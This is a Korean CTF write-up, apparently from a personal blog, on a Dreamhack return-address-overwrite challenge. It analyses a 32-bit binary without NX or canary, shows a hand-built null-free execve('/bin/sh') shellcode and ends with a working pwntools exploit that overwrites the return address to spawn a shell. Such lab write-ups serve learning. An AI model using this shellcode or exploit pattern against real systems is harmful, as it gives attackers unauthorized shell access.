rosieblue
article thumbnail
728x90

문제 설명

Return Address Overwrite를 통해 BOF를 이끌어내서 해킹하는 문제이다.

 

checksec으로 바이너리 파일에 보호기법 적용되어있는지 분석

문제 정보에 보면 NX 비트나 canary 등 보안 기법은 설정되어있지 않다는 것을 볼 수 있다. 그리고 Arch를 보니 i386-32-little 이므로 32bit 기준으로 쉘 코드를 작성해주면 된다.

 

 

주어진 코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() { //초기화
    setvbuf(stdin, NULL, _IONBF, 0); //stdin 버퍼 사용x 
    setvbuf(stdout, NULL, _IONBF, 0); //stdout 버퍼 사용x

    signal(SIGALRM, alarm_handler); 
//The alarm() function is used to generate a SIGALRM signal after a specified amount of time elapsed.
    alarm(30); //30초후에 SIGALRM 발생! 이 시간 안에 익스플로잇 성공해야함
}


int main(int argc, char *argv[]) { 

    char buf[0x80]; //버퍼 0x80만큼 할당->128bits

    initialize(); //초기화~
    
    printf("buf = (%p)\n", buf); //얘넨 syscall 아니니까 스택로 매개변수 전달
    scanf("%141s", buf); 
		//141개 문자를 받아서 buf에 저장. 그런데 buf크기가 128이므로 BOF 유발할 수 있음 
	
    return 0;
}

 

main함수를 보면 buf크기를 0x80(128bit)만큼 할당해놓았는데, 사용자의 입력을 통해 141개의 바이트를 입력받을 수 있다. NX 비트가 설정되어있지 않으므로 스택에는 실행권한이 부여되어있다. 따라서 버퍼에 쉘을 획득하는 코드를 작성하고, return_address에 버퍼 시작 위치를 넣는 코드를 x86 어셈블리어로 작성하면된다. 한편 buf크기가 128bit이므로 쉘코드 길이는 128byte까지만 가능하다. buf 뒤에 정확히 return address가 어디에 있는지 찾아보기 위해 gdb를 열자

 

사실 우리가 알아야될 것은 buf위치와 return address뿐이지만 어셈블리어 연습을 위해 하나하나 분석해보도록 하자.

main함수에 브레이크를 걸고 분석해주자

 

   0x80485d9 <main>       push   ebp 		;main함수 이전의 ebp push
   0x80485da <main+1>     mov    ebp, esp 	;ebp를 esp있는 곳으로 옮겨주어 스택 위치 재조정
   0x80485dc <main+3>     add    esp, -0x80 	
   ;buf를 받을 0x80만큼 스택 크기 늘려줌 -> 여기가 buf시작위치(0xffffcfc8)
   0x80485df <main+6>     call   initialize                     <initialize>

 

mov ebp, esp까지 실행한 모습

위 사진을 보면 main 함수의 ebp아래 0xf7c23295 (__libc_start_call_main+117)이 있는 것을 확인할 수 있다. 이를 통해 0xf7c23295가 main함수가 끝나면 return되는 주소라는 것을 알 수 있다.

 

backtrace화면

backtrace를 봐도 main 밑에 __libc_start_call_main+117 역시 있는 것을 알 수 있다

 

ebp부터 출력해보면 이런식으로 나온다.

그리고 그 위치가 저장된 주소는 0xfffd03c부터 4bit이다. 

사실 여기까지만 알면 문제를 풀 수 있지만, 그냥 공부겸 어셈블리어를 분석해보자!

 

   0x80485e4 <main+11>    lea    eax, [ebp - 0x80] ;buf시작주소를 eax에 넣음
   0x80485e7 <main+14>    push   eax 
   ;eax push (32bit이므로 call 할때는 스택으로 인자 전달)
   ;buf시작위치(printf 두번째 인자 buf)
   
   0x80485e8 <main+15>    push   0x8048699 ;아래 그림참고
   0x80485ed <main+20>    call   printf@plt                     <printf@plt>
   0x80485f2 <main+25>    add    esp, 8 ;printf의 인자들로 인한 스택프레임 초기화

참고) eip는 현재 실행'할' 위치! 현재 실행'한' 위치 아님!

 

참고로 이는 32bit환경이기 때문에 함수를 호출할 때 스택으로 인자를 전달하는 것을 어셈블리 코드에서 확인할 수있다. (한편 syscall은 32bit환경이어도 레지스터로 전달한다)

또한 함수가 다 실행하면 caller에서 스택프레임을 정리해주는 것 또한 확인할 수 있다! (add esp, 8)

 

printf의 첫번째 인자가 들어있는 위치이다. 해당 위치에 저장된 문자열이 C코드에서 봤던 print함수의 첫 인자와 동일한 것을 확인할 수 있다.

 

   0x80485f5 <main+28>    lea    eax, [ebp - 0x80] 	;buf 위치
   0x80485f8 <main+31>    push   eax 				;scanf 2번째 인자
   0x80485f9 <main+32>    push   0x80486a5			;scanf 1번째 인자(141개 입력 받음)
   0x80485fe <main+37>    call   __isoc99_scanf@plt                     <__isoc99_scanf@plt>

그냥 심심해서 들어가봤다

 

어셈블리코드에서 알 수 있는 건 이게 다다.

 

아무튼 우리가 어셈블리 코드에서 문제 풀때 쓸 수 있을 만한 건 다음과 같다.

  • buf 위치: 0xffffcfc8
  • return address위치: 0xfffd03c
여기서 문제인것은.. nc를 해서 문제에 접근했을 때, buf위치가 계속 달라진다는 점이다.(이는 ASLR이라는 보호 기법 때문이라고 한다!!) 이는 pwntools로 처리를 해주도록 하겠다.

 

그럼 return address도 계속 움직인다는 뜻이다. 하지만 우리는 buf시작 위치와 return address가 저장되어있는 거리만 중요하므로 그건 신경쓰지 않아도 된다. 아래를 보면 buf밑에 main 전 함수의 ebp가 저장되어있고 그 밑에 보통 return address가 올 것이기 때문이다. 

ebp부터 출력해보면 이런식으로 나온다.

위에 이 그림이 있었는데 여기 보면 저 0 8개부분이 ebp였다. 그래서 딱 128bit+4bit(ebp부분)을 쉘 획득 코드로 바꿔주고 그밑에 0xf7c23295부분(4bit)을 우리가 원하는 위치(버퍼 시작부분)으로 바꿔주면 된다.

 

 

쉘코드 작성

 

이제 쉘을 획득하는 어셈블리 코드를 작성해보기 전에 C코드를 작성하고 이를 어셈블리어로 옮기자.

쉘을 실행하기 위해서는 현재 실행하는 프로세스 대신 쉘을 실행시켜야 하므로 execve 함수가 필요하다. 아래는 해당 함수의 원형이다.

int execve(const char *pathname, char *const argv[], char *const envp[])

pathname에는 실행시켜줄 프로세스의 경로, argv는 cmd로 전달해줄 인수들, 그리고 envp는 전달해줄 환경변수들이 온다.

한편 argv[]의 첫 인자는 실행시킨 파일의 이름이 오고 마지막 인자는 null이 와야한다. (exec 계열 함수는 후에 포스팅 예정)

 

따라서 우리는 아래와 같은 코드를 어셈블리어로 바꾸면 된다.

char cmd[]="/bin/sh";
const char* arr={cmd,NULL};
execve(cmd,arr,NULL);

execve함수는 syscall (번호 : 0x0b=11) 로 호출한다

syscall 이므로 eax, ebx등의 레지스터를 이용한다

 

"/bin/sh"를 16진수로 변환하면 0x2f62696e2f7368이고, 이를 little-endian방식으로 변환하면 0x68732F6E69622F이 된다. 이를 토대로 어셈블리 코드를 작성해주면 다음과 같다. (sc.S) 

;sc.s

push 0x68732F6E
push 0x69622f
mov ebx, esp ;esp를(좀전에 push한 애들이 있는 위치)를 ebx가 가리키는 곳에 저장
xor eax,eax
mov al, 0x0b; execve의 syscall번호
xor ecx,ecx ;NULL
xor edx,edx ;NULL
int 0x80

참고로 EBX(Extended Base Register)는 ESI 레지스터나 EDI 레지스터와 결합될 수 있으며, 이 EBX 레지스터는 메모리 주소를 저장하기 위한 용도로 사용된다.

 

사실 이 어셈블리 코드는 null byte가 있어 수정해주었다. 아래 접은글

더보기

삽질

 

objdump 명령어로 디스어셈블

 여기서 push 0x69622f부분에서 계속 null byte 발생해서 저부분을

push 0x6962
xor eax, eax
mov al, 0x2F
push al

로 바꿔줬음

 

그런데

 

계속 여기서 에러뜸. 저기 부분은

xor eax, eax
mov al, 0x2F
push al 부분임

 

왜 그런지 확인해봤더니 x32에서 push 명령어는 16bit, 32bit만 가능하다고 함 ;; 8bit는 안된다고 한다;

 

흐음.. 어떻게 바꿔줘야 null byte가 안생길까

mov ax, 0x6962

push ax

xor ah,ah

mov al,0x2f

push ax

그래서 이렇게 바꿔줬더니 에러가 안난다!!!!!!!!!!!!!!!!!

 

mov al, 0x0b를 pwntools로 해서 보내니 하지만 에러가 나는데..!

이는 scanf가 0x0b를 받지 못해서라고 한다^^ 내가 어케앎? 출처 : https://hackinglife.tistory.com/163 

 

입력 함수 입력받지 못하는 값 정리

- scanf() * \x09, \x0a, \x0b, \x0c, \x0d, \x20 전까지만 받음 - gets * \x0a 전까지만 받음 * \x0a는 버퍼에도 들어가지 않는다. - fgets() * \x0a까지 입력받음. - read() * \x0a까지 입력받음 * 모든값 입력 가능

hackinglife.tistory.com

그래서 mov al, 0x0b 부분을

mov al,0x08

inc al

inc al

inc al

(왜냐면 inc al,3 하면 또 널바이트 생김;)

으로 바꿔줌 ^^

 

흠,,

push 0x68732F6E

mov ax, 0x6962
push ax
xor ah,ah
mov al,0x2f
push ax

여기서 또 에러남 ㅗ

느낌상 ax는 0x002f인데 리틀 엔디안으로 해서 

 이 순서로 저장되어서 오류나는 것 같은데...왜 저순서로 저장되는 거임?

아아.... push 0x002f나 마찬가지니까 리틀엔디안으로 저장되어서 2f006269...이런식으로 되는 거..ㅜ

 

push 0x68732F6E

mov ax, 0x6962
push ax
mov ax, 0x2f2f

push ax

add esp, 1

로 바꿔보면

 

 흐윽.. 잘되었다...

 

찐최종 어셈블리 파일

;sc.s

xor eax,eax
push eax
push 0x68732F6E
mov ax, 0x6962
push ax
mov ax, 0x2f2f
push ax
add esp, 1
mov ebx, esp ;esp를(좀전에 push한 애들이 있는 위치)를 ebx가 가리키는 곳에 저장
xor eax,eax
mov al,0x08
inc al
inc al
inc al
xor ecx,ecx ;NULL
xor edx,edx ;NULL
int 0x80

 

이제 이 코드를 16진수 파일로 바꿔주자

nasm 명령어로 32bit 기준으로 어셈블 해주었다.

어셈블 하니 아래와 같이 오브젝트 파일 sc.o가 새로 생겼다.

nasm 후 생긴 object 파일
xxd로 오브젝트 파일 기계어 추출

 

xxd 명령어로 object file의 명령어를 추출해보았다.

objdump -D 로 우리의 코드를 디스어셈블 해주었는데 null byte 없이 올바르게 된 것을 확인할 수 있었다. -M intel 옵션을 붙여 어셈블리어를 인텔 형식으로 출력해주었다!(디폴트는 AT&T 형식 같음) 

이제 여기서 .text 세그먼트에 있는 코드만 추출해주겠다. 그렇게 하려면 아래와같은 명령어를 입력해주면 된다.

 

위 명령어는 .text에 있는 부분만 따로 추출해서 sc.bin이라는 파일에 저장하겠다는 의미다!

 

만들어진 sc.bin 파일의 기계어 코드를 보니 필요한 부분만 추출되었다.

 

공백 없이 추출해주면 xxd에 -p를 넣어주면된다.

31c050686e2f736866b86269665066b82f2f665083c40189e331c0b008fec0fec0fec031c931d2cd80 얘를 이제 셸코드 형식으로 바꿔주자.

 

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x66\xb8\x62\x69\x66\x50\x66\xb8\x2f\x2f\x66\x50\x83\xc4\x01\x89\xe3\x31\xc0\xb0\x08\xfe\xc0\xfe\xc0\xfe\xc0\x31\xc9\x31\xd2\xcd\x80

변환하면 위와 같이 된다. (tlqkf 계속 안됐던 이유가 \x가 아니라 /x라고 쳐서였음; 진짜 죽이고 싶다 나)

 

이제 pwntools로 얘를 서버로 보내줄 익스플로잇 코드를 작성해보자

from pwn import *

p=remote("host3.dreamhack.games",15788)
p.recvuntil("buf = (")
buf_address = int(p.recv(10), 16)

payload=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x66\xb8\x62\x69\x66\x50\x66\xb8\x2f\x2f\x66\x50\x83\xc4\x01\x89\xe3\x31\xc0\xb0\x08\xfe\xc0\xfe\xc0\xfe\xc0\x31\xc9\x31\xd2\xcd\x80'
payload += b'A'*(0x80-len(payload))
payload += b'B'*0x4
payload += p32(buf_address)
print(payload)

p.sendline(payload)
p.interactive()

 

흑..흑...../x랑 mov al,0x2f 때문에 안된거 진짜 킹받네

profile

rosieblue

@Rosieblue

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!